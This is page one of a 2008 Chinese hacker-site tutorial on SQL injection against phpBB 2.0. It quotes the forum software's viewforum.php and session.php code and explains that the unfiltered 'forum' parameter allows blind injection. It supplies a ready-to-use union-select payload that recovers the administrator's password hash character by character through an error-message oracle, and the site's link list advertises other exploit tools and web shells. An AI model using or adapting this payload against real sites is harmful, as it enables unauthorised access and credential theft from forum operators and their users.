黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·没有路由密码权限时的鸽08-23·PHP注入实例11-04
·利用Discuz! 漏洞得到we11-04·写入缓存失败”的八个最11-04
·另类破解Windows忘记的密11-04·打造个性化Windows XP客11-04
·1G空间支持外链免费网络11-04·蜡笔小新提供300M/ftp免11-04
·Discuz! trade.php 数据11-03·Discuz!数据库'注射11-03
·妙招:Vista操作系统中的11-03·永硕80M免费硬盘免费申请11-03
·itriss提供5000M免费php11-03·友情检测某省会城市商务11-02
·XPSHOP商城系统漏洞利用11-02·MS08067全自动抓鸡利用工11-02
·1K JSP网马11-02·LOG备份与备份差异的对比11-02
·通过Mysql入侵服务器11-02·手工打造更强大的Window11-02
·我的网络电脑,网络免费11-02·著名的智能化免费DNS解析11-02
·HastyFree提供1G免费php11-02·利用“dbo”获得SQL管理10-31
·入侵渗透梁静茹官方网站10-31·妙用QQ安全链接中心10-31
·PHP168整站系统0DAY10-31·ASPXshell MS08-067插件10-31
[推荐]PHP注入实例
        ★★★★★

PHP注入实例

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-11-4 11:15:46
在网上很难看到一篇完整的关于php注入的文章和利用代码,于是我自已把mysql和php硬啃了几个星期,下面说说我的休会吧,希望能抛砖引玉!

  相信大家对asp的注入已经是十分熟悉了,而对php的注入比asp要困难,因为php的magic_gpc选项确实让人头疼,在注入中不要出现引号,而php大多和mysql结合,而mysql的功能上的缺点,从另外一人角度看确在一定程度上防止了sql njection的攻击,我在这里就举一个实例吧,我以phpbb2.0为例:

  在viewforum.php中有一个变量没过滤:

以下是引用片段:
  if ( isset($HTTP_GET_VARS
  { 

  $forum_id = ( isset($HTTP_GET_VARS
  ($HTTP_POST_VARS
  } 

  else if ( isset($HTTP_GET_VARS[’forum’])) 

  { 

  $forum_id = $HTTP_GET_VARS[’forum’]; 

  } 

  else 

  { 

  $forum_id = ’’; 

  } 


  就是这个forum,而下面直接把它放进了查询中:

以下是引用片段:
  if ( !empty($forum_id) ) 

  { 

  $sql = "SELECT * 

  FROM " . FORUMS_TABLE . " 

  WHERE forum_id = $forum_id"; 

  if ( !($result = $db->sql_query($sql)) ) 

  { 

  message_die(GENERAL_ERROR, ’Could not obtain forums information’, ’’, __LINE__, __FILE__, $sql); 

  } 

  } 

  else 

  { 

  message_die(GENERAL_MESSAGE, ’Forum_not_exist’); 

  } 

  如果是asp的话,相信很多人都会注入了.如果这个forum_id指定的论坛不存在的话,就会使$result为空,于是返回Could not obtain forums information的信息,于是下面的代码就不能执行下去了

以下是引用片段:
  // If the query doesn’t return any rows this isn’t a valid forum. Inform 

  // the user. 

  if ( !($forum_row = $db->sql_fetchrow($result)) ) 

  { 

  message_die(GENERAL_MESSAGE, ’Forum_not_exist’); 

  } 

  // Start session management 

  $userdata = session_pagestart($user_ip, $forum_id) /**************************************** 

  关键就是打星号的那一行了,这里是一个函数session_pagestart($user_ip, $thispage_id),这是在session.php中定义的一个函数,由于代码太长,就不全贴出来了,有兴趣的可以自已看看,关键是这个函数还调用了session_begin(),函数调用如下session_begin($user_id, $user_ip, $thispage_id, TRUE)),同样是在这个文件中定义的,其中有如下代码

以下是引用片段:
  $sql = "UPDATE " . SESSIONS_TABLE . " 

  SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page = 

  $page_id, session_logged_in = $login 

  WHERE session_id = ’" . $session_id . "’ 

  AND session_ip = ’$user_ip’"; 

  if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() ) 

  { 

  $session_id = md5(uniqid($user_ip)); 

  $sql = "INSERT INTO " . SESSIONS_TABLE . " 

  (session_id, session_user_id, session_start, session_time, session_ip, session_page, 

  session_logged_in) 

  valueS (’$session_id’, $user_id, $current_time, $current_time, ’$user_ip’, $page_id, $login)"; 

  if ( !($result = $db->sql_query($sql)) ) 

  { 

  message_die(CRITICAL_ERROR, ’Error creating new session : session_begin’, ’’, __LINE__, __FILE__, 

  $sql); 

  } 

  在这里有个session_page在mysql中定义的是个整形数,他的値$page_id,也就是$forum_id,如果插入的不是整形就会报错了,就会出现Error creating new session : session_begin的提示,所以要指这$forum_id的值很重要,所以我把它指定为:-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57,没有引号吧!虽然指定的是一个不存在的forum_id但他返回的查询结果可不一定是为空,这个就是猜user_id为2的用户的第一位密码的ascii码值是是否为57,如果是的话文章中第一段代码中的$result可不为空了,于是就执行了ession_pagestart这个有问题的函数,插入的不是整数当然就要出错了,于是就显示Error creating new session : session_begin,就表明你猜对了第一位了,其它位类似.
 

[1] [2] [3] [4] 下一页

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体:
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886